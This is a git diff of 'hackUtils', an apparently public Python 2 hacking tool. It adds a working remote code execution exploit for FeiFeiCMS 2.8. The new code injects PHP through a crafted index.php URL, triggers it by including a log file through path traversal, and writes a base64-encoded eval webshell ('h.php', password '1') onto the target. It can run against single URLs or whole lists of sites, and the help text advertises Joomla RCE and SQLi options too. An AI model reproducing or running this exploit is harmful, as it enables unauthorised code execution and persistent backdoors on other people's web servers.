@@ -474,9 +474,9 @@ def getInfoByJoomlaRCE(result, param):
474
474
if "System" in param :
475
475
reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'
476
476
elif "DOCUMENT_ROOT" in param :
477
- reg = '.*<tr><td class="e">DOCUMENT_ROOT </td><td class="v">([^<>]*?)</td></tr>.*'
477
+ reg = '.*<tr><td class="e">_SERVER\[" DOCUMENT_ROOT"\] </td><td class="v">([^<>]*?)</td></tr>.*'
478
478
elif "SCRIPT_FILENAME" in param :
479
- reg = '.*<tr><td class="e">SCRIPT_FILENAME </td><td class="v">([^<>]*?)</td></tr>.*'
479
+ reg = '.*<tr><td class="e">_SERVER\[" SCRIPT_FILENAME"\] </td><td class="v">([^<>]*?)</td></tr>.*'
480
480
match_url = re .search (reg ,result )
481
481
if match_url :
482
482
info = match_url .group (1 )
@@ -500,10 +500,84 @@ def getShellByJoomlaRCE(url, system, script_filename):
500
500
return "no info!"
501
501
else :
502
502
return "no info!"
503
+
504
+ def rceFeiFeiCMS (value ):
505
+ now = time .strftime ('%H:%M:%S' ,time .localtime (time .time ()))
506
+ print "[" + str (now )+ "] [INFO] Checking FeiFeiCMS 2.8 Remote Code Execution..."
507
+ if 'http://' in value or 'https://' in value :
508
+ url = value
509
+ checkFeiFeiCMS (url )
510
+ else :
511
+ urlfile = open (value ,'r' )
512
+ for url in urlfile :
513
+ if url .strip ():
514
+ checkFeiFeiCMS (url )
515
+ urlfile .close ()
516
+ output = os .path .dirname (os .path .realpath (__file__ ))+ "/feifeicms_rce.txt"
517
+ if os .path .exists (output ):
518
+ print "\n [INFO] Scanned Vuls:"
519
+ print "[*] Output File: " + output
520
+
521
+ def checkFeiFeiCMS (url ):
522
+ url = url .strip ()
523
+ reg = 'http[s]*://.*/$'
524
+ m = re .match (reg ,url )
525
+ if not m :
526
+ url = url + "/"
527
+ logfilename = str (time .strftime ('%y_%m_%d' ,time .localtime (time .time ())))+ ".log.html"
528
+ poc_1 = url + "index.php?s=my-show-id-1{~phpinfo()}.html"
529
+ poc_2 = url + "index.php?s=my-show-id-\\ ..\\ Runtime\\ Logs\\ " + logfilename
530
+ try :
531
+ result = exploitFeiFeiCMS (poc_1 ,poc_2 )
532
+ if 'phpinfo()' in result :
533
+ system = getInfoByFeiFeiCMS (result , 'System' )
534
+ document_root = getInfoByFeiFeiCMS (result , 'DOCUMENT_ROOT' )
535
+ script_filename = getInfoByFeiFeiCMS (result , 'SCRIPT_FILENAME' )
536
+ shell_file = getShellByFeiFeiCMS (url )
537
+ vuls = '[+] vuls found! url: ' + url + ', System: ' + system + ', document_root: ' + document_root + ', script_filename: ' + script_filename + ', shell_file: ' + shell_file
538
+ logfile (vuls ,'feifeicms_rce.txt' )
539
+ print vuls
540
+ else :
541
+ print '[!] no vuls! url: ' + url
542
+ except Exception ,e :
543
+ print '[!] connection failed! url: ' + url
544
+
545
+ def exploitFeiFeiCMS (p1 , p2 ):
546
+ requests .get (p1 , timeout = 10 )
547
+ response = requests .get (p2 , timeout = 10 )
548
+ return response .content
549
+
550
+ def getInfoByFeiFeiCMS (result , param ):
551
+ if "System" in param :
552
+ reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'
553
+ elif "DOCUMENT_ROOT" in param :
554
+ reg = '.*<tr><td class="e">_SERVER\["DOCUMENT_ROOT"\]</td><td class="v">([^<>]*?)</td></tr>.*'
555
+ elif "SCRIPT_FILENAME" in param :
556
+ reg = '.*<tr><td class="e">_SERVER\["SCRIPT_FILENAME"\]</td><td class="v">([^<>]*?)</td></tr>.*'
557
+ match_url = re .search (reg ,result )
558
+ if match_url :
559
+ info = match_url .group (1 )
560
+ else :
561
+ info = 'no info!'
562
+ return info
563
+
564
+ def getShellByFeiFeiCMS (url ):
565
+ logfilename = str (time .strftime ('%y_%m_%d' ,time .localtime (time .time ())))+ ".log.html"
566
+ #cmd ="file_put_contents('1ndex.php',base64_decode(base64_decode('UEQ5d2FIQWdhV1lvSVNSZlVFOVRWRnNuYUdGdVpHeGxKMTBwZTJobFlXUmxjaWduU0ZSVVVDOHhMakVnTkRBMElFNXZkQ0JHYjNWdVpDY3BPeUJsZUdsMEtDazdJSDFsYkhObGV5QWtjejBpY0NJdUluSWlMaUpsSWk0aVp5SXVJbDhpTGlKeUlpNGlaU0l1SW5BaUxpSnNJaTRpWVNJdUltTWlMaUpsSWpzZ0pITW9JbjViWkdselkzVjZYWDVsSWl3a1gxQlBVMVJiSjJoaGJtUnNaU2RkTENKQlkyTmxjM01pS1RzZ2ZTQS9QZz09')))" #password: handle
567
+ #cmd = "file_put_contents('wooyun.txt','wooyun')"
568
+ shell = 'h.php'
569
+ cmd = "file_put_contents('" + shell + "',base64_decode(base64_decode('UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljeEoxMHBPejgr')))" #password: 1
570
+ payload_l = url + "index.php?s=my-show-id-1{~" + str (cmd )+ "}.html"
571
+ payload_2 = url + "index.php?s=my-show-id-\\ ..\\ Runtime\\ Logs\\ " + logfilename
572
+ try :
573
+ exploitFeiFeiCMS (payload_l , payload_2 )
574
+ return url + shell
575
+ except Exception , e :
576
+ return "no info!"
503
577
504
578
def myhelp ():
505
579
print "\n +-----------------------------+"
506
- print "| hackUtils v0.0.3 |"
580
+ print "| hackUtils v0.0.4 |"
507
581
print "| Avfisher - avfisher.win |"
508
582
509
583
print "+-----------------------------+\n "
@@ -515,6 +589,7 @@ def myhelp():
515
589
print " -w keyword, --wooyun=keyword Fetch URLs from Wooyun Corps based on specific keyword"
516
590
print " -j url|file, --joomla=url|file Exploit SQLi for Joomla 3.2 - 3.4"
517
591
print " -r url|file, --rce=url|file Exploit Remote Code Execution for Joomla 1.5 - 3.4.5 (Password: handle)"
592
+ print " -f url|file, --feifeicms=url|file Exploit Remote Code Execution for FeiFeiCMS 2.8 (Password: 1)"
518
593
print " -d site, --domain=site Scan subdomains based on specific site"
519
594
print " -e string, --encrypt=string Encrypt string based on specific encryption algorithms (e.g. base64, md5, sha1, sha256, etc.)"
520
595
print "\n Examples:"
@@ -525,13 +600,15 @@ def myhelp():
525
600
print " hackUtils.py -j urls.txt"
526
601
print " hackUtils.py -r http://www.joomla.com/"
527
602
print " hackUtils.py -r urls.txt"
603
+ print " hackUtils.py -f http://www.feifeicms.com/"
604
+ print " hackUtils.py -f urls.txt"
528
605
print " hackUtils.py -d example.com"
529
606
print " hackUtils.py -e text"
530
607
print "\n [!] to see help message of options run with '-h'"
531
608
532
609
def main ():
533
610
try :
534
- options ,args = getopt .getopt (sys .argv [1 :],"hb:g:w:j:r:d:e:" ,["help" ,"baidu=" ,"google=" ,"wooyun=" ,"joomla=" ,"rce=" ,"domain=" ,"encrypt=" ])
611
+ options ,args = getopt .getopt (sys .argv [1 :],"hb:g:w:j:r:f: d:e:" ,["help" ,"baidu=" ,"google=" ,"wooyun=" ,"joomla=" ,"rce=" , "feifeicms =" ,"domain=" ,"encrypt=" ])
535
612
except getopt .GetoptError :
536
613
print "\n [WARNING] error, to see help message of options run with '-h'"
537
614
sys .exit ()
@@ -549,6 +626,8 @@ def main():
549
626
checkJoomla (value )
550
627
if name in ("-r" ,"--rce" ):
551
628
rceJoomla (value )
629
+ if name in ("-f" ,"--feifeicms" ):
630
+ rceFeiFeiCMS (value )
552
631
if name in ("-d" ,"--domain" ):
553
632
scanSubDomains ('baidu' ,value ,50 )
554
633
if name in ("-e" ,"--encrypt" ):
0 commit comments